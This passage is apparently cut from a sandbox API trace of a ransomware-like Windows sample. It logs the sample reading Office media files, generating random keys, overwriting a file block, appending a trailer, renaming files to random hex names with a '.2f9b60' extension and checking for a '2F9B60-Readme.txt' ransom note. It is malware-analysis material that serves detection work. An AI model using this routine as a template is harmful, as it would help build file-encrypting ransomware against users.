lpFileSize=0x25a9fbe0 | out: lpFileSize=0x25a9fbe0*=28088) returned 1 [0134.613] SetFilePointerEx (in: hFile=0x1c34, liDistanceToMove=0x6db4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.613] ReadFile (in: hFile=0x1c34, lpBuffer=0x25a9fb60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x25a9fba8, lpOverlapped=0x0 | out: lpBuffer=0x25a9fb60*, lpNumberOfBytesRead=0x25a9fba8*=0x4, lpOverlapped=0x0) returned 1 [0134.645] SetFilePointerEx (in: hFile=0x1c34, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.645] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267b30 [0134.646] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267bc0 [0134.646] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267bf0 [0134.646] NtQuerySystemTime (in: CurrentTime=0x25a9faa0 | out: CurrentTime=0x25a9faa0*=132462177398926000) returned 0x0 [0134.646] RtlRandomEx (in: Seed=0x25a9fa90 | out: Seed=0x25a9fa90) returned 0x7c073ab8 [0134.646] RtlRandomEx (in: Seed=0x25a9fa90 | out: Seed=0x25a9fa90) returned 0x429329b6 [0134.646] RtlRandomEx (in: Seed=0x25a9fa90 | out: Seed=0x25a9fa90) returned 0x19ca2b59 [0134.646] RtlRandomEx (in: Seed=0x25a9fa90 | out: Seed=0x25a9fa90) returned 0x4b0d903f [0134.646] RtlRandomEx (in: Seed=0x25a9fa90 | out: Seed=0x25a9fa90) returned 0x257e33a0 [0134.646] RtlRandomEx (in: Seed=0x25a9fa90 | out: Seed=0x25a9fa90) returned 0x20bbb452 [0134.646] RtlRandomEx (in: Seed=0x25a9fa90 | out: Seed=0x25a9fa90) returned 0x76af9f9 [0134.646] RtlRandomEx (in: Seed=0x25a9fa90 | out: Seed=0x25a9fa90) returned 0x6b540b92 [0134.646] RtlRandomEx (in: Seed=0x25a9fa90 | out: Seed=0x25a9fa90) returned 0x3baddca2 [0134.646] RtlRandomEx (in: Seed=0x25a9fa90 | out: Seed=0x25a9fa90) returned 0x4dd82e9d [0134.646] RtlRandomEx (in: Seed=0x25a9fa90 | out: Seed=0x25a9fa90) returned 0x5698b5f1 [0134.646] RtlRandomEx (in: Seed=0x25a9fa90 | out: Seed=0x25a9fa90) returned 0x38fccd83 [0134.646] RtlRandomEx (in: Seed=0x25a9fa90 | out: Seed=0x25a9fa90) returned 0x14d39e23 [0134.646] RtlRandomEx (in: Seed=0x25a9fa90 | out: Seed=0x25a9fa90) returned 0x670948bc [0134.646] RtlRandomEx (in: Seed=0x25a9fa90 | out: Seed=0x25a9fa90) returned 0x71c48bd6 [0134.646] RtlRandomEx (in: Seed=0x25a9fa90 | out: Seed=0x25a9fa90) returned 0x17f1396e [0134.646] RtlRandomEx (in: Seed=0x25a9fa90 | out: Seed=0x25a9fa90) returned 0x6b6b7afc [0134.646] RtlRandomEx (in: Seed=0x25a9fa90 | out: Seed=0x25a9fa90) returned 0x7f48a54c [0134.646] RtlRandomEx (in: Seed=0x25a9fa90 | out: Seed=0x25a9fa90) returned 0x53cfddf4 [0134.646] RtlRandomEx (in: Seed=0x25a9fa90 | out: Seed=0x25a9fa90) returned 0x727159fc [0134.647] RtlRandomEx (in: Seed=0x25a9fa90 | out: Seed=0x25a9fa90) returned 0x70f66bac [0134.647] RtlRandomEx (in: Seed=0x25a9fa90 | out: Seed=0x25a9fa90) returned 0x4cb0897a [0134.647] RtlRandomEx (in: Seed=0x25a9fa90 | out: Seed=0x25a9fa90) returned 0x4d4cb370 [0134.647] RtlRandomEx (in: Seed=0x25a9fa90 | out: Seed=0x25a9fa90) returned 0x120e7b7d [0134.647] RtlRandomEx (in: Seed=0x25a9fa90 | out: Seed=0x25a9fa90) returned 0x3396871b [0134.647] RtlRandomEx (in: Seed=0x25a9fa90 | out: Seed=0x25a9fa90) returned 0x27b47b2e [0134.647] RtlRandomEx (in: Seed=0x25a9fa90 | out: Seed=0x25a9fa90) returned 0x76f4d798 [0134.647] RtlRandomEx (in: Seed=0x25a9fa90 | out: Seed=0x25a9fa90) returned 0x700f6d67 [0134.647] RtlRandomEx (in: Seed=0x25a9fa90 | out: Seed=0x25a9fa90) returned 0x2c329d8f [0134.647] RtlRandomEx (in: Seed=0x25a9fa90 | out: Seed=0x25a9fa90) returned 0x19ca6d45 [0134.647] RtlRandomEx (in: Seed=0x25a9fa90 | out: Seed=0x25a9fa90) returned 0x7e6dbc6 [0134.647] RtlRandomEx (in: Seed=0x25a9fa90 | out: Seed=0x25a9fa90) returned 0x829d101 [0134.657] SetFilePointerEx (in: hFile=0x1c34, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.657] ReadFile (in: hFile=0x1c34, lpBuffer=0x41ce6910, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x25a9fb00, lpOverlapped=0x0 | out: lpBuffer=0x41ce6910*, lpNumberOfBytesRead=0x25a9fb00*=0x3c00, lpOverlapped=0x0) returned 1 [0134.701] SetFilePointerEx (in: hFile=0x1c34, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.701] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97260 [0134.701] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79df70 [0134.701] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267c80 [0134.702] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267c80) returned 1 [0134.702] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41cf5950 [0134.702] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267c80 [0134.702] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267d40 [0134.703] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267d40) returned 1 [0134.703] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79df70) returned 1 [0134.703] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97260) returned 1 [0134.703] WriteFile (in: hFile=0x1c34, lpBuffer=0x41cf5950*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x25a9fb00, lpOverlapped=0x0 | out: lpBuffer=0x41cf5950*, lpNumberOfBytesWritten=0x25a9fb00*=0x3c00, lpOverlapped=0x0) returned 1 [0135.355] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41cf5950) returned 1 [0135.355] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41ce6910) returned 1 [0135.355] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x20505930 [0135.356] SetFilePointerEx (in: hFile=0x1c34, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0135.356] WriteFile (in: hFile=0x1c34, lpBuffer=0x166f20*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x25a9fbb0, lpOverlapped=0x0 | out: lpBuffer=0x166f20*, lpNumberOfBytesWritten=0x25a9fbb0*=0x10a, lpOverlapped=0x0) returned 1 [0135.414] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97df0 [0135.414] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79de70 [0135.414] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263ef0 [0135.415] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263ef0) returned 1 [0135.415] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0135.415] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263ef0 [0135.415] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260ad0 [0135.415] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260ad0) returned 1 [0135.415] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79de70) returned 1 [0135.415] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97df0) returned 1 [0135.415] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cda0070 [0135.415] sprintf (in: _Dest=0x1cda0070, _Format="%c%c" | out: _Dest="40") returned 2 [0135.416] sprintf (in: _Dest=0x1cda0072, _Format="%c%c" | out: _Dest="95") returned 2 [0135.416] sprintf (in: _Dest=0x1cda0074, _Format="%c%c" | out: _Dest="42") returned 2 [0135.416] sprintf (in: _Dest=0x1cda0076, _Format="%c%c" | out: _Dest="7c") returned 2 [0135.416] sprintf (in: _Dest=0x1cda0078, _Format="%c%c" | out: _Dest="f2") returned 2 [0135.416] sprintf (in: _Dest=0x1cda007a, _Format="%c%c" | out: _Dest="43") returned 2 [0135.416] sprintf (in: _Dest=0x1cda007c, _Format="%c%c" | out: _Dest="89") returned 2 [0135.416] sprintf (in: _Dest=0x1cda007e, _Format="%c%c" | out: _Dest="18") returned 2 [0135.416] sprintf (in: _Dest=0x1cda0080, _Format="%c%c" | out: _Dest="c5") returned 2 [0135.416] sprintf (in: _Dest=0x1cda0082, _Format="%c%c" | out: _Dest="be") returned 2 [0135.416] sprintf (in: _Dest=0x1cda0084, _Format="%c%c" | out: _Dest="4d") returned 2 [0135.416] sprintf (in: _Dest=0x1cda0086, _Format="%c%c" | out: _Dest="d7") returned 2 [0135.416] sprintf (in: _Dest=0x1cda0088, _Format="%c%c" | out: _Dest="49") returned 2 [0135.416] sprintf (in: _Dest=0x1cda008a, _Format="%c%c" | out: _Dest="d4") returned 2 [0135.416] sprintf (in: _Dest=0x1cda008c, _Format="%c%c" | out: _Dest="b7") returned 2 [0135.416] sprintf (in: _Dest=0x1cda008e, _Format="%c%c" | out: _Dest="6f") returned 2 [0135.416] sprintf (in: _Dest=0x1cda0090, _Format="%c%c" | out: _Dest="da") returned 2 [0135.416] sprintf (in: _Dest=0x1cda0092, _Format="%c%c" | out: _Dest="c8") returned 2 [0135.416] sprintf (in: _Dest=0x1cda0094, _Format="%c%c" | out: _Dest="60") returned 2 [0135.416] sprintf (in: _Dest=0x1cda0096, _Format="%c%c" | out: _Dest="e7") returned 2 [0135.417] sprintf (in: _Dest=0x1cda0098, _Format="%c%c" | out: _Dest="c5") returned 2 [0135.417] sprintf (in: _Dest=0x1cda009a, _Format="%c%c" | out: _Dest="94") returned 2 [0135.417] sprintf (in: _Dest=0x1cda009c, _Format="%c%c" | out: _Dest="4e") returned 2 [0135.417] sprintf (in: _Dest=0x1cda009e, _Format="%c%c" | out: _Dest="ce") returned 2 [0135.417] RtlInitAnsiString (in: DestinationString=0x25a9fc28, SourceString="4095427cf2438918c5be4dd749d4b76fdac860e7c5944ece" | out: DestinationString="4095427cf2438918c5be4dd749d4b76fdac860e7c5944ece") [0135.417] RtlAnsiStringToUnicodeString (in: DestinationString=0x25a9fbf8, SourceString="4095427cf2438918c5be4dd749d4b76fdac860e7c5944ece", AllocateDestinationString=1 | out: DestinationString="4095427cf2438918c5be4dd749d4b76fdac860e7c5944ece") returned 0x0 [0135.417] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced90f0 [0135.417] wcscat (in: _Dest=0x20509350, _Source="4095427cf243" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\4095427cf243") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\4095427cf243" [0135.417] wcscat (in: _Dest=0x20509350, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\4095427cf243.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\4095427cf243.2f9b60" [0135.417] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\4095427cf243.2f9b60", NtPathName=0x25a9fbd0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\4095427cf243.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0135.417] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x2050cf50 [0146.323] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050cf50) returned 1 [0146.323] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4a110) returned 1 [0146.323] NtQueryInformationFile (in: FileHandle=0x1c34, IoStatusBlock=0x25a9fc38, FileInformation=0x25a9fc48, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x25a9fc38, FileInformation=0x25a9fc48) returned 0x0 [0146.323] NtSetInformationFile (FileHandle=0x1c34, IoStatusBlock=0x25a9fc38, FileInformation=0x25a9fc48, Length=0x28, FileInformationClass=0x4) returned 0x0 [0146.781] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20509350) returned 1 [0146.781] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced90f0) returned 1 [0146.781] FlushFileBuffers (hFile=0x1c34) returned 1 [0146.784] CloseHandle (hObject=0x1c34) returned 1 [0146.785] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b86b5e0 [0146.785] wcscpy (in: _Dest=0x1b86b5e0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0146.785] wcscat (in: _Dest=0x1b86b5e0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" [0146.786] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\2f9b60-readme.txt")) returned 0x20 [0146.786] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86b5e0) returned 1 [0146.786] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86aaa0) returned 1 Thread: id = 1757 os_tid = 0x177c [0132.088] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297707.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0297707.wmf")) returned 0x20 [0132.785] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297707.WMF", dwFileAttributes=0x20) returned 1 [0133.416] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297707.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0297707.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1c3c [0134.642] GetFileSizeEx (in: hFile=0x1c3c, lpFileSize=0x2665f660 | out: lpFileSize=0x2665f660*=42946) returned 1 [0134.642] SetFilePointerEx (in: hFile=0x1c3c, liDistanceToMove=0xa7be, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.642] ReadFile (in: hFile=0x1c3c, lpBuffer=0x2665f5e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2665f628, lpOverlapped=0x0 | out: lpBuffer=0x2665f5e0*, lpNumberOfBytesRead=0x2665f628*=0x4, lpOverlapped=0x0) returned 1 [0134.684] SetFilePointerEx (in: hFile=0x1c3c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.684] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267c80 [0134.684] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267d10 [0134.684] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267d40 [0134.684] NtQuerySystemTime (in: CurrentTime=0x2665f520 | out: CurrentTime=0x2665f520*=132462177399238000) returned 0x0 [0134.684] RtlRandomEx (in: Seed=0x2665f510 | out: Seed=0x2665f510) returned 0x273f484b [0134.684] RtlRandomEx (in: Seed=0x2665f510 | out: Seed=0x2665f510) returned 0x1039343d [0134.684] RtlRandomEx (in: Seed=0x2665f510 | out: Seed=0x2665f510) returned 0x1314eda0 [0134.685] RtlRandomEx (in: Seed=0x2665f510 | out: Seed=0x2665f510) returned 0x398b4cf9 [0134.685] RtlRandomEx (in: Seed=0x2665f510 | out: Seed=0x2665f510) returned 0x894ecff [0134.685] RtlRandomEx (in: Seed=0x2665f510 | out: Seed=0x2665f510) returned 0x7a7a6c40 [0134.685] RtlRandomEx (in: Seed=0x2665f510 | out: Seed=0x2665f510) returned 0x4706719e [0134.685] RtlRandomEx (in: Seed=0x2665f510 | out: Seed=0x2665f510) returned 0x5bfdad43 [0134.685] RtlRandomEx (in: Seed=0x2665f510 | out: Seed=0x2665f510) returned 0x28874a81 [0134.685] RtlRandomEx (in: Seed=0x2665f510 | out: Seed=0x2665f510) returned 0x73c003b [0134.685] RtlRandomEx (in: Seed=0x2665f510 | out: Seed=0x2665f510) returned 0x603be379 [0134.685] RtlRandomEx (in: Seed=0x2665f510 | out: Seed=0x2665f510) returned 0x2622ff54 [0134.685] RtlRandomEx (in: Seed=0x2665f510 | out: Seed=0x2665f510) returned 0x17cfc964 [0134.685] RtlRandomEx (in: Seed=0x2665f510 | out: Seed=0x2665f510) returned 0xecdc606 [0134.685] RtlRandomEx (in: Seed=0x2665f510 | out: Seed=0x2665f510) returned 0x35d12585 [0134.685] RtlRandomEx (in: Seed=0x2665f510 | out: Seed=0x2665f510) returned 0x109b61d9 [0134.685] RtlRandomEx (in: Seed=0x2665f510 | out: Seed=0x2665f510) returned 0x13d5a767 [0134.685] RtlRandomEx (in: Seed=0x2665f510 | out: Seed=0x2665f510) returned 0x22bf3c3c [0134.685] RtlRandomEx (in: Seed=0x2665f510 | out: Seed=0x2665f510) returned 0x3bca0134 [0134.685] RtlRandomEx (in: Seed=0x2665f510 | out: Seed=0x2665f510) returned 0x7a0eadca [0134.685] RtlRandomEx (in: Seed=0x2665f510 | out: Seed=0x2665f510) returned 0x6a43c715 [0134.685] RtlRandomEx (in: Seed=0x2665f510 | out: Seed=0x2665f510) returned 0x4d0979ec [0134.685] RtlRandomEx (in: Seed=0x2665f510 | out: Seed=0x2665f510) returned 0x3d2e38cb [0134.685] RtlRandomEx (in: Seed=0x2665f510 | out: Seed=0x2665f510) returned 0x5503b7c [0134.685] RtlRandomEx (in: Seed=0x2665f510 | out: Seed=0x2665f510) returned 0x658755d4 [0134.686] RtlRandomEx (in: Seed=0x2665f510 | out: Seed=0x2665f510) returned 0x2961ed23 [0134.686] RtlRandomEx (in: Seed=0x2665f510 | out: Seed=0x2665f510) returned 0xc23a7c9 [0134.686] RtlRandomEx (in: Seed=0x2665f510 | out: Seed=0x2665f510) returned 0x51a710ee [0134.686] RtlRandomEx (in: Seed=0x2665f510 | out: Seed=0x2665f510) returned 0x2599d57c [0134.686] RtlRandomEx (in: Seed=0x2665f510 | out: Seed=0x2665f510) returned 0x73c73d78 [0134.686] RtlRandomEx (in: Seed=0x2665f510 | out: Seed=0x2665f510) returned 0x35ccd2d2 [0134.686] RtlRandomEx (in: Seed=0x2665f510 | out: Seed=0x2665f510) returned 0x544d6fb1 [0134.699] SetFilePointerEx (in: hFile=0x1c3c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.699] ReadFile (in: hFile=0x1c3c, lpBuffer=0x41cf1d40, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2665f580, lpOverlapped=0x0 | out: lpBuffer=0x41cf1d40*, lpNumberOfBytesRead=0x2665f580*=0x3c00, lpOverlapped=0x0) returned 1 [0134.729] SetFilePointerEx (in: hFile=0x1c3c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.729] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97260 [0134.730] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79df70 [0134.730] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267e00 [0134.730] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267e00) returned 1 [0134.730] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41d00d80 [0134.731] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267e00 [0134.731] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267e90 [0134.731] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267e90) returned 1 [0134.731] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79df70) returned 1 [0134.731] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97260) returned 1 [0134.731] WriteFile (in: hFile=0x1c3c, lpBuffer=0x41d00d80*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2665f580, lpOverlapped=0x0 | out: lpBuffer=0x41d00d80*, lpNumberOfBytesWritten=0x2665f580*=0x3c00, lpOverlapped=0x0) returned 1 [0135.366] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41d00d80) returned 1 [0135.366] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41cf1d40) returned 1 [0135.366] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x20505a80 [0135.367] SetFilePointerEx (in: hFile=0x1c3c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0135.367] WriteFile (in: hFile=0x1c3c, lpBuffer=0x1674c0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2665f630, lpOverlapped=0x0 | out: lpBuffer=0x1674c0*, lpNumberOfBytesWritten=0x2665f630*=0x10a, lpOverlapped=0x0) returned 1 [0135.423] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97df0 [0135.423] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79de70 [0135.423] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262c30 [0135.423] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262c30) returned 1 [0135.423] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0135.423] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262c30 [0135.424] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262090 [0135.424] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262090) returned 1 [0135.424] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79de70) returned 1 [0135.424] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97df0) returned 1 [0135.424] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cda0070 [0135.424] sprintf (in: _Dest=0x1cda0070, _Format="%c%c" | out: _Dest="2b") returned 2 [0135.424] sprintf (in: _Dest=0x1cda0072, _Format="%c%c" | out: _Dest="68") returned 2 [0135.424] sprintf (in: _Dest=0x1cda0074, _Format="%c%c" | out: _Dest="24") returned 2 [0135.424] sprintf (in: _Dest=0x1cda0076, _Format="%c%c" | out: _Dest="3f") returned 2 [0135.424] sprintf (in: _Dest=0x1cda0078, _Format="%c%c" | out: _Dest="2c") returned 2 [0135.424] sprintf (in: _Dest=0x1cda007a, _Format="%c%c" | out: _Dest="b7") returned 2 [0135.425] sprintf (in: _Dest=0x1cda007c, _Format="%c%c" | out: _Dest="84") returned 2 [0135.425] sprintf (in: _Dest=0x1cda007e, _Format="%c%c" | out: _Dest="59") returned 2 [0135.425] sprintf (in: _Dest=0x1cda0080, _Format="%c%c" | out: _Dest="77") returned 2 [0135.425] sprintf (in: _Dest=0x1cda0082, _Format="%c%c" | out: _Dest="75") returned 2 [0135.425] sprintf (in: _Dest=0x1cda0084, _Format="%c%c" | out: _Dest="93") returned 2 [0135.425] sprintf (in: _Dest=0x1cda0086, _Format="%c%c" | out: _Dest="b0") returned 2 [0135.425] sprintf (in: _Dest=0x1cda0088, _Format="%c%c" | out: _Dest="06") returned 2 [0135.425] sprintf (in: _Dest=0x1cda008a, _Format="%c%c" | out: _Dest="d1") returned 2 [0135.425] sprintf (in: _Dest=0x1cda008c, _Format="%c%c" | out: _Dest="40") returned 2 [0135.425] sprintf (in: _Dest=0x1cda008e, _Format="%c%c" | out: _Dest="f7") returned 2 [0135.425] sprintf (in: _Dest=0x1cda0090, _Format="%c%c" | out: _Dest="7c") returned 2 [0135.425] sprintf (in: _Dest=0x1cda0092, _Format="%c%c" | out: _Dest="a8") returned 2 [0135.425] sprintf (in: _Dest=0x1cda0094, _Format="%c%c" | out: _Dest="c7") returned 2 [0135.425] sprintf (in: _Dest=0x1cda0096, _Format="%c%c" | out: _Dest="ef") returned 2 [0135.425] sprintf (in: _Dest=0x1cda0098, _Format="%c%c" | out: _Dest="c2") returned 2 [0135.425] sprintf (in: _Dest=0x1cda009a, _Format="%c%c" | out: _Dest="55") returned 2 [0135.425] sprintf (in: _Dest=0x1cda009c, _Format="%c%c" | out: _Dest="6b") returned 2 [0135.425] sprintf (in: _Dest=0x1cda009e, _Format="%c%c" | out: _Dest="0a") returned 2 [0135.426] RtlInitAnsiString (in: DestinationString=0x2665f6a8, SourceString="2b68243f2cb78459777593b006d140f77ca8c7efc2556b0a" | out: DestinationString="2b68243f2cb78459777593b006d140f77ca8c7efc2556b0a") [0135.426] RtlAnsiStringToUnicodeString (in: DestinationString=0x2665f678, SourceString="2b68243f2cb78459777593b006d140f77ca8c7efc2556b0a", AllocateDestinationString=1 | out: DestinationString="2b68243f2cb78459777593b006d140f77ca8c7efc2556b0a") returned 0x0 [0135.426] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced9630 [0135.426] wcscat (in: _Dest=0x205093f0, _Source="2b68243f2cb7" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2b68243f2cb7") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2b68243f2cb7" [0135.426] wcscat (in: _Dest=0x205093f0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2b68243f2cb7.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2b68243f2cb7.2f9b60" [0135.426] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2b68243f2cb7.2f9b60", NtPathName=0x2665f650, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2b68243f2cb7.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0135.426] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x2050cbe0 [0146.848] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050cbe0) returned 1 [0146.848] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202900b0) returned 1 [0146.848] NtQueryInformationFile (in: FileHandle=0x1c3c, IoStatusBlock=0x2665f6b8, FileInformation=0x2665f6c8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2665f6b8, FileInformation=0x2665f6c8) returned 0x0 [0146.848] NtSetInformationFile (FileHandle=0x1c3c, IoStatusBlock=0x2665f6b8, FileInformation=0x2665f6c8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0147.007] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205093f0) returned 1 